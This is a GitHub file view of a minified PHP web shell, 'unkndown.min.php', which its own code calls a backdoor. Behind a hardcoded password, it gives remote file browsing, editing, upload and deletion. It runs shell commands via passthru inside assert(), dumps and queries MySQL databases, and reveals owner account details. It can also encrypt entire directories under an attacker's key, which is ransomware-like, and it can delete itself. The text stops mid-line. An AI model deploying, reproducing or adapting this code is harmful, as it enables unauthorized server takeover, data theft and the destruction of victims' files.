-
Notifications
You must be signed in to change notification settings - Fork 0
/
unkndown.min.php
1 lines (1 loc) · 45 KB
/
unkndown.min.php
1
<?php $actual = getcwd(); $directorio = (isset($_GET['d'])) ? $_GET['d'] : "$actual"; $iconos = "https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css"; $user = "unkndown"; $pass = "mati"; $HTTP_HOST= $_SERVER["HTTP_HOST"]; $REQUEST_URI= $_SERVER["REQUEST_URI"]; $link_actual="http://" . $HTTP_HOST . $REQUEST_URI; $uri = $REQUEST_URI; function slash($valor) {$nopermitido = array("/"); $valor = str_replace($nopermitido, "", $valor); return $valor; } if (strpos($uri,"?")) {$last_uri = explode("?", $uri); $nombre_backdoor = slash($last_uri[0]); } else {$nombre_backdoor = slash($uri); } session_start(); if(!isset($_SESSION['user'])) {if (isset($_POST['cerrojo'])) {if ($_POST['key'] == $pass AND $_POST['cerrojo'] == $user) {session_start(); $_SESSION['user'] = $user; header("Location:$link_actual"); } else {if (empty($_POST['key']) or empty($_POST['cerrojo'])) {echo "<script>alert('Ingresa tus datos')</script>"; } else {if ($_POST['key'] != $pass or $_POST['cerrojo'] != $user) {echo "<script>alert('Datos incorrectos')</script>"; } } } } echo "<style>@import url(https://fonts.googleapis.com/css?family=Slabo+27px);body{background: #131313; font-family: 'Slabo 27px', serif;}</style> <center> <div style='position: absolute; left: 50%; top:50%; transform: translateX(-50%) translateY(-50%);'> <img src='http://i.imgur.com/Us2AXhN.png' width='128px;'><br><br> <form action='' method='post'> <input style='padding:15px;' type='text' name='cerrojo' placeholder='Usuario'><br><br> <input style='padding:15px;' type='text' name='key' placeholder='Contrseña'><br><br> <button style='padding:10px; background: #E0E0E0; border: solid 1px #ccc;' type='submit' name='open_door'>Abrir</button> </form> </div> </center>"; } else {error_reporting(0); if (isset($_GET['close'])) {session_start(); $_SESSION = array(); session_destroy(); $link = explode("?", $link_actual); $last = $link[0]; echo "<meta http-equiv='Refresh' content='0;url=$last'>"; } function size($directorio) {$tamaño = filesize($directorio); return calcular_disco($tamaño); } function fecha_modificacion($directorio) {return date("F d Y H:i:s.", filectime($directorio)); } function eliminar_directorio($dir) {if(!$dh = @opendir($dir)) return; while (false !== ($current = readdir($dh))) {if($current != '.' && $current != '..') {if (!@unlink($dir.'/'.$current)){eliminar_directorio($dir.'/'.$current); } } } closedir($dh); @rmdir($dir); } function fecha(){$arrayMeses = array('Enero', 'Febrero', 'Marzo', 'Abril', 'Mayo', 'Junio','Julio', 'Agosto', 'Septiembre', 'Octubre', 'Noviembre', 'Diciembre'); $arrayDias = array( 'Domingo', 'Lunes', 'Martes','Miercoles','Jueves', 'Viernes', 'Sabado'); return $arrayDias[date('w')]." ".date('d')." de ".$arrayMeses[date('m')-1]." de ".date('Y'); } function permisos($directorio) {$permisos = fileperms($directorio); if (($permisos & 0xC000) == 0xC000) {$info = 's'; } elseif (($permisos & 0xA000) == 0xA000) {$info = 'l'; } elseif (($permisos & 0x8000) == 0x8000) {$info = '-'; } elseif (($permisos & 0x6000) == 0x6000) {$info = 'b'; } elseif (($permisos & 0x4000) == 0x4000) {$info = 'd'; } elseif (($permisos & 0x2000) == 0x2000) {$info = 'c'; } elseif (($permisos & 0x1000) == 0x1000) {$info = 'p'; } else {$info = 'u'; } $info .= (($permisos & 0x0100) ? 'r' : '-'); $info .= (($permisos & 0x0080) ? 'w' : '-'); $info .= (($permisos & 0x0040) ? (($permisos & 0x0800) ? 's' : 'x' ) : (($permisos & 0x0800) ? 'S' : '-')); $info .= (($permisos & 0x0020) ? 'r' : '-'); $info .= (($permisos & 0x0010) ? 'w' : '-'); $info .= (($permisos & 0x0008) ? (($permisos & 0x0400) ? 's' : 'x' ) : (($permisos & 0x0400) ? 'S' : '-')); $info .= (($permisos & 0x0004) ? 'r' : '-'); $info .= (($permisos & 0x0002) ? 'w' : '-'); $info .= (($permisos & 0x0001) ? (($permisos & 0x0200) ? 't' : 'x' ) : (($permisos & 0x0200) ? 'T' : '-')); return $info; } function chmod_archivo($archivo){return substr(base_convert(@fileperms($archivo),10,8),-4); } function usuario_archivo($filepath){if(function_exists('posix_getpwuid')) {$array = @posix_getpwuid(@fileowner($filepath)); if($array && is_array($array)) {return ' <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>'; } } return ''; } if (isset($_GET['df'])) {if ($_GET['df'] != "") {$directorio = $_GET['d']; $fichero = $_GET['df']; $locacion = "$directorio/$fichero"; unlink($locacion); $d = $_GET['d']; $exp = explode("/",$d); $total = count($exp)-1; $url_slash = ""; for ($i=0; $i <= $total ; $i++) {$url_slash .= $exp[$i]."/"; } echo "<meta http-equiv='Refresh' content='0;url=?d=".substr($url_slash, 0, -1)."'>"; } } if (isset($_GET['dd'])) {if ($_GET['dd'] != "") {$directorio_borrar = $_GET['dd']; eliminar_directorio($directorio_borrar); $d = $_GET['d']; $exp = explode("/",$d); $total = count($exp)-2; $url_slash = ""; for ($i=0; $i <= $total ; $i++) {$url_slash .= $exp[$i]."/"; } echo "<meta http-equiv='Refresh' content='0;url=?d=".substr($url_slash, 0, -1)."'>"; } } function descargar_archivo($file,$locacion) {header("Content-disposition: attachment; filename=$file"); header("Content-type: application/octet-stream"); readfile($locacion); $link = "http://".$_SERVER["HTTP_HOST"]. $_SERVER["REQUEST_URI"]; echo "<meta http-equiv='Refresh' content='5;url=$link'>"; exit(0); } if (isset($_GET['da'])) {$file = $_GET['da']; $directorio =$_GET['d']; $locacion = "$directorio/$file"; descargar_archivo($file,$locacion); exit(0); } if (isset($_POST['editar_archivo'])) {$archivo = $_GET['ea']; $carpeta = $_GET['d']; $locacion = "$carpeta/$archivo"; $modificar = fopen($locacion, 'w+'); if ($yeah = fwrite($modificar, $_POST['codigo'])) {echo "<script>alert('Editado');</script>"; } else {echo "<script>alert('No se pudo editar');</script>"; } } if (isset($_GET['ea'])) {if ($_GET['ea'] != "") {echo "<form action='' method='post'><center><textarea cols='165' rows='35' name='codigo'>"; $archivo = $_GET['ea']; $carpeta = $_GET['d']; $locacion = "$carpeta/$archivo"; $archivo = file($locacion); foreach($archivo as $n => $sub) {$texto = htmlspecialchars($sub); echo $texto; } echo "</textarea></center><br><center><button style='padding:10px; background:gainsboro; border: solid 1px #ccc' type='submit' name='editar_archivo'>Editar</button></center></form>"; exit(0); } } if (isset($_GET['dc'])) {if ($_GET['dc'] != "") {function comprimir($carpeta_descargar, $nombre_zip, $handle = false, $recursivo = false) {if(!$handle) {$handle = new ZipArchive; if ($handle->open($nombre_zip, ZipArchive::CREATE) === false) {return false; } } if(is_dir($carpeta_descargar)) {$carpeta_descargar = dirname($carpeta_descargar.'/arch.ext'); $handle->addEmptyDir($carpeta_descargar); foreach(glob($carpeta_descargar.'/*') as $url) {comprimir($url, $nombre_zip, $handle, true); } } else {$handle->addFile($carpeta_descargar); } if(!$recursivo) {$handle->close(); $actual = getcwd(); $dfsdf = $_GET['dc']; $expl_des = explode("/",$dfsdf); $tota_des = count($expl_des)-1; $nomb_zip = $expl_des[$tota_des] . ".zip"; $link = $actual . "/".$nomb_zip; descargar_archivo($nomb_zip,$link); } return true; } $dfsdf = $_GET['dc']; $expl_des = explode("/",$dfsdf); $tota_des = count($expl_des)-1; $nomb_zip = $expl_des[$tota_des] . ".zip"; $actual = $_GET['d']; $demo = $actual . "/". $expl_des[$tota_des]; comprimir($demo, $nomb_zip); } } if (isset($_POST['seleccion'])) {for($i=0;$i<=count($_POST["fichero"])-1;$i++): $nombre = $_POST["fichero"][$i]; if (!is_dir($nombre)) {unlink($nombre); } else{if ($nombre != "." AND $nombre != "..") {eliminar_directorio($nombre); } } endfor; } class Cifrado_C {protected $Cifrado_C; protected $key; protected $blockSize; protected $data; private $iv; private $mode; public function __construct( $text = null, $key = null, $bsize = null, $mode = null ){$this->archivo( $text ); $this->clave( $key ); $this->tipo($bsize); $this->modo( $mode ); $this->iv(''); } public function archivo( $text_plain ){if( !empty($text_plain) ){$this->data = $text_plain; } } public function clave( $key ){$this->key = $key; } public function modo( $mode ){switch( $mode ){case 'ecb': $this->mode = MCRYPT_MODE_ECB; break; case 'cfb': $this->mode = MCRYPT_MODE_CFB; break; case 'cbc': $this->mode = MCRYPT_MODE_CBC; break; case 'nofb': $this->mode = MCRYPT_MODE_NOFB; break; case 'ofb': $this->mode = MCRYPT_MODE_OFB; break; case 'stream': $this->mode = MCRYPT_MODE_STREAM; break; default: $this->mode = MCRYPT_MODE_ECB; } } public function tipo( $blockSize ){switch( $blockSize ){case 128: $this->Cifrado_C = MCRYPT_RIJNDAEL_128; break; case 192: $this->Cifrado_C = MCRYPT_RIJNDAEL_192; break; case 256: $this->Cifrado_C = MCRYPT_RIJNDAEL_256; break; default: $this->Cifrado_C = MCRYPT_RIJNDAEL_128; } } private function getIV(){if( empty($this->iv) ){$this->iv = mcrypt_create_iv( mcrypt_get_iv_size($this->Cifrado_C, $this->mode ), MCRYPT_RAND); } return $this->iv; } public function iv( $iv ){$this->iv = $iv; } public function val() {return ($this->data != null && $this->key != null && $this->Cifrado_C != null ) ? true : false; } public function encrypt(){if( $this->val() ){return trim(base64_encode(mcrypt_encrypt($this->Cifrado_C, $this->key, $this->data, $this->mode, $this->getIV()))); }else{} } public function decrypt(){if( $this->val() ){return trim(mcrypt_decrypt($this->Cifrado_C, $this->key, base64_decode($this->data), $this->mode, $this->getIV())); }else{} } private function generateUniqueKey( $length ){return substr( md5(uniqid(time())), $length); } } function descifrar($dir){$contents = file_get_contents($dir); $myCipher = new Cifrado_C; $myCipher->archivo($contents); $pass= $_GET['password_descifrar']; $myCipher->clave($pass); $myCipher->tipo(256); $myCipher->modo('ecb'); $content = fopen($dir, 'w+'); $archivo = file($nombre); $con = ""; foreach($archivo as $n => $sub) {$texto = htmlspecialchars($sub); $con .= $texto; } $myCipher->archivo($con); $texto = $myCipher->decrypt(); if (fwrite($content, $texto)) {echo "$dir --> <span class='si'>Descifrado</span><br><br>"; } else {echo "$dir --> <span class='no'>No se pudo descifrar</span><br><br>"; } } function cifrar($dir){$contents = file_get_contents($dir); $myCipher = new Cifrado_C; $myCipher->archivo($contents); $pass= $_GET['password_cifrar']; $myCipher->clave($pass); $myCipher->tipo(256); $myCipher->modo('ecb'); $cifrado = $myCipher->encrypt(); $content = fopen($dir, 'w+'); if (fwrite($content, $cifrado)) {echo "$dir --> <span class='si'>Cifrado</span><br><br>"; } else {echo "$dir --> <span class='no'>No se pudo cifrar</span><br><br>"; } } function cifrar_directorio_completo($path){$dir = opendir($path); $files = array(); while ($elemento = readdir($dir)){if( $elemento != "." && $elemento != ".."){if( is_dir($path.$elemento) ){$pp = $path.$elemento.'/'; cifrar_directorio_completo( $pp ); } else{$files[] = $elemento; } } } for($x=0; $x<count( $files ); $x++){$tot = $path.$files[$x]; cifrar($tot); } } function descifrar_directorio_completo($path){$dir = opendir($path); $files = array(); while ($elemento = readdir($dir)){if( $elemento != "." && $elemento != ".."){if( is_dir($path.$elemento) ){$pp = $path.$elemento.'/'; descifrar_directorio_completo( $pp ); } else{$files[] = $elemento; } } } for($x=0; $x<count( $files ); $x++){$tot = $path.$files[$x]; descifrar($tot); } } if (isset($_GET['directorio_cifrar'])) {$caracteres = strlen($_GET['password_cifrar']); if ($caracteres == 16 or $caracteres == 24 or $caracteres == 32) {$dir = $_GET['directorio_cifrar']."/"; echo " <a href='javascript:history.back(1)'>Volver Atrás</a><br><br><br>"; cifrar_directorio_completo($dir); echo " <a href='javascript:history.back(1)'>Volver Atrás</a><br><br><br>"; } else {echo "<script>alert('Ingresa una contraseña de 16,24 o 32 caracteres')</Script>"; } } if (isset($_GET['directorio_descifrar'])) {$caracteres = strlen($_GET['password_descifrar']); if ($caracteres == 16 or $caracteres == 24 or $caracteres == 32) {$dir = $_GET['directorio_descifrar']."/"; echo " <a href='javascript:history.back(1)'>Volver Atrás</a><br><br><br>"; descifrar_directorio_completo($dir); echo " <a href='javascript:history.back(1)'>Volver Atrás</a><br><br><br>"; } else {echo "<script>alert('Ingresa una contraseña de 16,24 o 32 caracteres')</Script>"; } } if (isset($_GET['ras'])) {$directorio = $_GET['d']; echo "<style> .no{color: #e74c3c; } .si{color: #2ecc71; font-weight: bold; } </style>"; echo "<h1>Cifrar directorio</h1>"; echo "<form method='get' action=''> <input style='padding:15px;width:300px;border:solid 2px #ccc;' name='password_cifrar' placeholder='Password de cifrado'><br><br> <input style='padding:15px;width:300px;border:solid 2px #ccc;' name='directorio_cifrar' value='$directorio'> <input type='hidden' name='d' value='$actual'> <input type='hidden' name='ras' value='true'> <span><button style='padding:15px' type='submit'>Cifrar</button></span> </form>"; echo "<h1>Descifrar directorio</h1>"; echo "<form method='get' action=''> <input style='padding:15px;width:300px;border:solid 2px #ccc;' name='password_descifrar' placeholder='Password de cifrado'><br><br> <input style='padding:15px;width:300px;border:solid 2px #ccc;' name='directorio_descifrar' value='$directorio'> <input type='hidden' name='d' value='$actual'> <input type='hidden' name='ras' value='true'> <span><button style='padding:15px' type='submit'>Descifrar</button></span> </form>"; exit(0); } if (isset($_GET['cf'])) {if (isset($_POST['nombre'])) {if (!empty($_POST['nombre'])) {$archivo = $_POST['nombre']; $contenido = $_POST['contenido']; $carpeta = $_GET['d']; $final = "$carpeta/$archivo"; if ($fp = fopen($final, "a")) {$write = fputs($fp, $contenido); fclose($fp); echo "<script>alert('Archivo creado')</script>"; } else {echo "<script>alert('Archivo no creado')</script>"; } } } echo "<form method='post' autocomplete='off'> <input style='width:100%; padding:10px' placeholder='Nombre del archivo' type='text' name='nombre'><br><br> <textarea style='width:100%; padding:10px' name='contenido' cols='30' rows='30' placeholder='Contenido del archivo'></textarea> <br><br> <center><button type='submit'>Crear archivo</button></center></form>"; exit(0); } if (isset($_POST['nueva_carpeta'])) {if (!empty($_POST['nueva_carpeta'])) {$carpeta = $_POST['nueva_carpeta']; $localizacion = $_GET['d']; $final = "$localizacion/$carpeta"; if (mkdir($final, 0777, true)) {echo "<script>alert('Carpeta creada')</script>"; echo "<meta http-equiv='Refresh' content='0;url=$link_actual'>"; } else {echo "<script>alert('No se pudo crear la carpeta')</script>"; } } exit(0); } if (isset($_POST['subir_archivo'])) {$archivo = $_FILES["logo_upload"]["name"]; if ($archivo != "") {$temporal = $_FILES["logo_upload"]["tmp_name"]; $carpeta = $_GET['d']; $ubicacion = "$carpeta/$archivo"; if (move_uploaded_file($temporal, $ubicacion)) {echo "<script>alert('Archivo Subido')</script>"; echo "<meta http-equiv='Refresh' content='0;url=$link_actual'>"; } else {echo "<script>alert('Archivo no subido')</script>"; } } exit(0); } function obtener_ip() {if (!empty($_SERVER['HTTP_CLIENT_IP'])){return $_SERVER['HTTP_CLIENT_IP']; } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){return $_SERVER['HTTP_X_FORWARDED_FOR']; } return $_SERVER['REMOTE_ADDR']; } if (isset($_GET['phpinfo'])) {if ($_GET['phpinfo'] == "true") {@assert(phpinfo()); } exit(0); } function backup_tables($host,$user,$pass,$name,$tables = '*') {$link = mysql_connect($host,$user,$pass); mysql_select_db($name,$link); if($tables == '*') {$tables = array(); $result = mysql_query('SHOW TABLES'); while($row = mysql_fetch_row($result)) {$tables[] = $row[0]; } } else {$tables = is_array($tables) ? $tables : explode(',',$tables); } foreach($tables as $table) {$result = mysql_query('SELECT * FROM '.$table); $num_fields = mysql_num_fields($result); $return.= 'DROP TABLE '.$table.';'; $row2 = mysql_fetch_row(mysql_query('SHOW CREATE TABLE '.$table)); $return.= "\n\n".$row2[1].";\n\n"; for ($i = 0; $i < $num_fields; $i++) {while($row = mysql_fetch_row($result)) {$return.= 'INSERT INTO '.$table.' VALUES('; for($j=0; $j<$num_fields; $j++) {$row[$j] = addslashes($row[$j]); $row[$j] = ereg_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ");\n"; } } $return.="\n\n\n"; } $nombre = 'db-backup-'.time().'-'.(md5(implode(',',$tables))).'.sql'; $handle = fopen($nombre,'w+'); if (fwrite($handle,$return)) {fclose($handle); $actual = getcwd(); $locacion = "$actual/$nombre"; descargar_archivo($nombre,$locacion); exit(0); } else {echo "<script>alert('No se pudo descargar')</script>"; } } function backup_tables_mysqli($host,$user,$pass,$name,$tables = '*') {$link = mysqli_connect($host,$user,$pass,$name); if($tables == '*') {$tables = array(); $result = mysqli_query($link,'SHOW TABLES'); while($row = mysqli_fetch_row($result)) {$tables[] = $row[0]; } } else {$tables = is_array($tables) ? $tables : explode(',',$tables); } foreach($tables as $table) {$result = mysqli_query($link,'SELECT * FROM '.$table); $num_fields = mysqli_field_count($link); $return.= 'DROP TABLE '.$table.';'; $row2 = mysqli_fetch_row(mysqli_query($link,'SHOW CREATE TABLE '.$table)); $return.= "\n\n".$row2[1].";\n\n"; for ($i = 0; $i < $num_fields; $i++) {while($row = mysqli_fetch_row($result)) {$return.= 'INSERT INTO '.$table.' VALUES('; for($j=0; $j<$num_fields; $j++) {$row[$j] = addslashes($row[$j]); $row[$j] = ereg_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ");\n"; } } $return.="\n\n\n"; } $handle = fopen('db-backup-'.time().'-'.(md5(implode(',',$tables))).'.sql','w+'); if (fwrite($handle,$return)) {fclose($handle); echo "<script>alert('Archivo creado, descargalo desde la pagina principal')</script>"; } else {echo "<script>alert('No se pudo descargar')</script>"; } } if (isset($_GET['descargar_bd'])) {if ($_GET['descargar_bd'] != "") {$valor = $_GET['descargar_bd']; $host = $_GET['host']; $usuario = $_GET['usuario']; $clave = $_GET['clave']; $tipo = $_GET['bd']; $base = $_GET['base']; $sql = $_GET['sql']; backup_tables($host,$usuario,$clave,$valor); } } if (isset($_GET['descargar_bdi'])) {if ($_GET['descargar_bdi'] != "") {$valor = $_GET['descargar_bdi']; $host = $_GET['host']; $usuario = $_GET['usuario']; $clave = $_GET['clave']; $tipo = $_GET['bd']; $base = $_GET['base']; $sql = $_GET['sql']; backup_tables_mysqli($host,$usuario,$clave,$valor); } } if (isset($_GET['sql'])) {echo "<link rel='stylesheet' href='$iconos'><style>.tg {border-collapse:collapse;border-spacing:0;width: 100%;} .tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 20px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;} .tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 20px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;} .tg .tg-rx9y{font-weight:bold;background-color:#333333;color:#ffffff;text-align:center; border: solid 1px #333333;} .tg .tg-rx9y i{font-size: 1.5em; color: white; outline: none;} .menu a{text-decoration: none; padding: 5px; } .tg .tg-qjik{font-weight:bold;background-color:#333333;color:#ffffff} .tg .tg-031e{text-align: center;} .tg .tg-031e i{font-size: 1.2em} button{padding:10px; background: #E0E0E0; border: solid 1px #ccc;} input{padding:10px;} select{padding:10px; background: white; width: 190px} </style>"; if (!isset($_GET['bd'])) {echo"<center> <form method='get' autocomplete='off'> <b>Base de datos:</b><br> <select name='bd'> <option value='mysql'>Mysql</option> <option value='mysqli'>Mysqli</option> <!-- <option value='msql'>Msql</option> --> <!-- <option value='mssql'>Mssql</option> --> <!-- <option value='pg'>PostreSQL</option> --> <!-- <option value='sqlite'>SQLite</option> --> <!-- <option value='oci'>Oracle</option> --> </select><br> <b>Host:</b><br> <input type='text' name='host' value='localhost'><br> <b>Usuario:</b><br> <input type='hidden' name='ofs' value='sadjkasjdioasjd$#%$#%#ASDFSADFASDFSD2342344534534534fdfsdf#SDFASDFSDF'></input> <input type='text' name='usuario' placeholder='Usuario'><br> <b>Clave:</b><br> <input type='password' name='clave' placeholder='Contraseña'><br><br> <b>Base de dato:</b><br> <input type='text' name='base' value=''><br><br> <button type='submit' name='sql' value='true'>Conectar</button> </form> </center>"; } } if (isset($_GET['sql'])) {if ($_GET['sql'] == "true") {if ($_GET['host'] != "" AND $_GET['usuario'] != "" AND $_GET['clave'] != "") {$bd = $_GET['bd']; $host = $_GET['host']; $usuario = $_GET['usuario']; $clave = $_GET['clave']; $base = $_GET['base']; if (isset($_GET['tabla_entrar'])) {if ($_GET['tabla_entrar'] != "") {$mysql = @mysql_connect($host,$usuario,$clave); @mysql_select_db($_GET['db_entrar']); echo "<br><center><p><span><b style='font-size:2em'>Consulta SQL</b> tabla: ".$_GET['tabla_entrar']."</span></p> <form action='' method='post'> <input style='padding:10px' type=text name=sentencia size=70 value='select * from " . $_GET['tabla_entrar'] . "'> <br><br> <input type='hidden' name='host' value='$host'> <input type='hidden' name='usuario' value='$usuario'> <input type='hidden' name='password' value='$clave'> <input type='hidden' name='condb' value=" . $_GET['db_entrar'] . "> <input type='hidden' name='entertable' value=" . $_GET['tabla_entrar'] . "> <input type='submit' name='consulta' value='Ejecutar'> </form> <br><br><br><br><br>"; if (isset($_POST['consulta'])) {if (!empty($_POST['sentencia'])) {$resultado = mysql_query($_POST['sentencia']); } else {$resultado = mysql_query("SELECT * FROM " . $_GET['tabla_entrar']); } } $numero = 0; echo "<table class='tg'>"; for ($i = 0;$i < mysql_num_fields($resultado);$i++) {echo "<th class='tg-rx9y'>" . mysql_field_name($resultado, $i) . "</th>"; $numer++; } while ($dat = mysql_fetch_row($resultado)) {echo "<tr>"; foreach($dat as $val) {echo "<td class=main>" . $val . "</td>"; } } echo "</tr></table>"; exit(0); } } if (isset($_GET['db_entrar'])) {if ($_GET['db_entrar'] != "") {$mysql = @mysql_connect($host,$usuario,$clave); @mysql_select_db($_GET['db_entrar']); $tablas = mysql_query("show tables from " . $_GET['db_entrar']) or die("error"); echo "<table class='tg'> <tr> <th class='tg-rx9y'>Nombre de la tabla</th> <th class='tg-rx9y'>Entrar</th> </tr>"; while ($tabla = mysql_fetch_row($tablas)) {foreach($tabla as $indice => $valor) {echo "<tr> <td class='tg-031e'>$valor</td> <td class='tg-031e'><a href='$link_actual&tabla_entrar=$valor'><i class='fa fa-sign-out'></i></a></td> </tr>"; } } echo "</table>"; exit(0); } } if ($_GET['bd'] == "mysql") {$conectar = @mysql_connect($host,$usuario,$clave); if ($conectar) {if ($databases = @mysql_list_dbs($conectar)) {echo "<table class='tg'> <tr> <th class='tg-rx9y'>Nombre de la base de datos</th> <th class='tg-rx9y'>Entrar</th> <th class='tg-rx9y'>Guardar archivo .sql</th> </tr>"; while ($base = @mysql_fetch_row($databases)) {foreach($base as $indice => $valor) {echo "<tr> <td class='tg-031e'>$valor</td> <td class='tg-031e'><a href='$link_actual&db_entrar=$valor'><i class='fa fa-sign-out'></i></a></td> <td class='tg-031e'><a href='$link_actual&descargar_bd=$valor'><i class='fa fa-download'></i></a></td> </tr>"; } } echo "</table>"; } } else {echo "Error al conectar"; } } if ($_GET['bd'] == "mysqli") {$bd = $_GET['bd']; $host = $_GET['host']; $usuario = $_GET['usuario']; $clave = $_GET['clave']; $base = $_GET['base']; if (isset($_GET['tabla_entrari'])) {if ($_GET['tabla_entrari'] != "") {$mysql_c = mysqli_connect($host,$usuario,$clave,$base); echo "<br><center><p><span><b style='font-size:2em'>Consulta SQL</b> tabla: ".$_GET['tabla_entrari']."</span></p> <form action='' method='post'> <input style='padding:10px' type=text name=sentencia size=70 value='select * from " . $_GET['tabla_entrari'] . "'> <br><br> <input type='hidden' name='host' value='$host'> <input type='hidden' name='usuario' value='$usuario'> <input type='hidden' name='password' value='$clave'> <input type='hidden' name='condb' value=" . $_GET['db_entrar'] . "> <input type='hidden' name='entertable' value=" . $_GET['tabla_entrari'] . "> <input type='submit' name='consulta' value='Ejecutar'> </form> <br><br><br><br><br>"; if (isset($_POST['consulta'])) {if (!empty($_POST['sentencia'])) {$resultado = mysqli_query($mysql_c,$_POST['sentencia']); } else {$resultado = mysqli_query($mysql_c,"SELECT * FROM " . $_GET['tabla_entrari']); } } echo "<table class='tg'>"; for ($i = 0;$i < mysqli_field_count($mysql_c);$i++) {$info_campo = mysqli_fetch_field_direct($resultado, $i); echo "<th class='tg-rx9y'>" . $info_campo->name . "</th>"; } while ($dat = mysqli_fetch_row($resultado)) {echo "<tr>"; foreach($dat as $val) {echo "<td class=main>" . $val . "</td>"; } } echo "</tr></table>"; exit(0); } } if (isset($_GET['dbi_entrar'])) {if ($_GET['dbi_entrar'] != "") {$mysqli = @mysqli_connect($host,$usuario,$clave,$base); $tablas = mysqli_query($mysqli,"show tables from " . $_GET['dbi_entrar']) or die("error"); echo "<table class='tg'> <tr> <th class='tg-rx9y'>Nombre de la tabla</th> <th class='tg-rx9y'>Entrar</th> </tr>"; while ($tabla = mysqli_fetch_row($tablas)) {foreach($tabla as $indice => $valor) {echo "<tr> <td class='tg-031e'>$valor</td> <td class='tg-031e'><a href='$link_actual&tabla_entrari=$valor'><i class='fa fa-sign-out'></i></a></td> </tr>"; } } echo "</table>"; exit(0); } } if (!empty($base)) {$conectar = @mysqli_connect($host,$usuario,$clave,$base); if ($conectar) {echo "<table class='tg'> <tr> <th class='tg-rx9y'>Nombre</th> <th class='tg-rx9y'>Entrar</th> <th class='tg-rx9y'>Descargar</th> </tr>"; echo "<tr> <td class='tg-031e'>$base</td> <td class='tg-031e'><a href='$link_actual&dbi_entrar=$base'><i class='fa fa-sign-out'></i></a></td> <td class='tg-031e'><a href='$link_actual&descargar_bdi=$base'><i class='fa fa-download'></i></a></td> </tr></table>"; } else {echo "Error al conectar"; } } else {echo "Ingresa un nombre de base de dato"; } } } } exit(0); } if (isset($_GET['cmd'])) {if ($_GET['cmd'] == "true") {echo "<center><form method='post' autocomplete='off'><input style='width:400px;padding:10px;' name='comandos' type='text'><button type='submit' style='padding:10px;'>Ejecutar</button></form></center>"; if (isset($_POST['comandos'])) {$comando = $_POST['comandos']; $comandos = "passthru('$comando')"; echo "<center>"; @assert($comandos); echo "</center>"; } } exit(0); } if (isset($_GET['destruir'])) {if (!empty($_GET['destruir'])) {$locacion = "$actual/$nombre_backdoor"; if (unlink($locacion)) {header("location:$link_actual"); } else {echo "<script>alert('No se pudo destruir')</script>"; } } } $ip = obtener_ip(); $espacio_libre = @diskfreespace("/"); if(@function_exists('disk_free_space')){$espacio_libre = @disk_free_space("/");}else{$espacio_libre = '-';} if (!$espacio_libre) {$espacio_libre = 0;} $total = @disk_total_space("/"); if (!$total) {$total = 0;} function calcular_disco($tamaño) {if($tamaño >= 1073741824) {$tamaño = @round($tamaño / 1073741824 * 100) / 100 . " GB";} elseif($tamaño >= 1048576) {$tamaño = @round($tamaño / 1048576 * 100) / 100 . " MB";} elseif($tamaño >= 1024) {$tamaño = @round($tamaño / 1024 * 100) / 100 . " KB";} else {$tamaño = $tamaño . " B";} return $tamaño; } if (!isset($_POST['seleccion'])) {if (isset($_POST['renombrar'])) {if (isset($_POST['directorio'])) {if (!empty($_POST['renombrar'])) {$carpeta = $_POST['renombrar']; $localizacion = $_POST['directorio']; $old = $_POST['old']; $old = "$localizacion/$old"; $new = "$localizacion/$carpeta"; if (is_dir($old)) {if (rename($old, $new)) {echo "<script>alert('Carpeta Renombrada')</script>"; echo "<meta http-equiv='Refresh' content='0;url=$link_actual'>"; } else {echo "<script>alert('No se pudo renombrar la carpeta')</script>"; } } else {if (rename($old, $new)) {echo "<script>alert('Archivo Renombrado')</script>"; echo "<meta http-equiv='Refresh' content='0;url=$link_actual'>"; } else {echo "<script>alert('No se pudo renombrar el archivo')</script>"; } } } } } } if (ini_get('safe_mode') == 0) { $modo_seguro = "<span style='color:#e74c3c'>Desactivado</span>"; } else { $modo_seguro = "<span style='color:#40d47e'>Activado</span>"; } if(get_magic_quotes_gpc()=="1" or get_magic_quotes_gpc()=="on"){$magic_quotes="<span style='color:#40d47e'>Activadas</span>";}else{$magic_quotes="<span style='color:#e74c3c'>Desactivadas</span>";} exec("perl -v", $perl); if ($perl) { $perl="<span style='color:#40d47e'>Instalado</span>"; } else { $perl="<span style='color:#e74c3c'>No instalado</span>"; } exec("ruby -v", $ruby); if ($ruby) { $ruby="<span style='color:#40d47e'>Instalado</span>"; } else { $ruby="<span style='color:#e74c3c'>No instalado</span>"; } $curl_on = @function_exists('curl_version'); if ($curl_on) { $curl="<span style='color:#40d47e'>Activado</span>"; } else { $curl="<span style='color:#e74c3c'>Desactivado</span>"; } $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ $mysql = "<span style='color:#40d47e'>Si</span>"; } else { $mysql = "<span style='color:#e74c3c'>No</span>"; } $mysqli_on = @function_exists('mysqli_connect'); if($mysqli_on){ $mysqli = "<span style='color:#40d47e'>Si</span>"; } else { $mysqli = "<span style='color:#e74c3c'>No</span>"; } $mssql_on = @function_exists('mssql_connect'); if($mssql_on){ $mssql = "<span style='color:#40d47e'>Si</span>"; } else { $mssql = "<span style='color:#e74c3c'>No</span>"; } $msql_on = @function_exists('msql_connect'); if($msql_on){ $msql = "<span style='color:#40d47e'>Si</span>"; } else { $msql = "<span style='color:#e74c3c'>No</span>"; } $pg_on = @function_exists('pg_connect'); if($pg_on){ $pg = "<span style='color:#40d47e'>Si</span>"; } else { $pg = "<span style='color:#e74c3c'>No</span>"; } $sqlite_on = @function_exists('sqlite_open'); if($sqlite_on){ $sqlite = "<span style='color:#40d47e'>Si</span>"; } else { $sqlite = "<span style='color:#e74c3c'>No</span>"; } $oracle_on = @function_exists('ocilogon'); if($oracle_on){ $oracle = "<span style='color:#40d47e'>Si</span>"; } else { $oracle = "<span 